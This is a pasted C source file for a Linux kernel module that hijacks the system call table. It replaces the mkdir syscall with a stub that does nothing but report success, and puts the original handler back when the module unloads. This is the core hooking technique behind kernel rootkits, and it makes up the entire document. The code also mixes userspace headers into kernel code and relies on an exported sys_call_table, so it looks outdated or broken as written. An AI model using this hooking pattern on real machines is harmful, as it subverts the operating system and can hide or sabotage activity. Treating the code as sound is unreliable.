rendered paste body#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <malloc.h>
extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path) {
return 0; /*everything is ok, but he new systemcall does nothing*/
}
static int __init mkdirm_init(void) {
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
static void __exit mkdirm_exit(void) {
sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal one*/
return;
}
module_init(mkdirm_init);
module_exit(mkdirm_exit);
MODULE_LICENSE("GPL");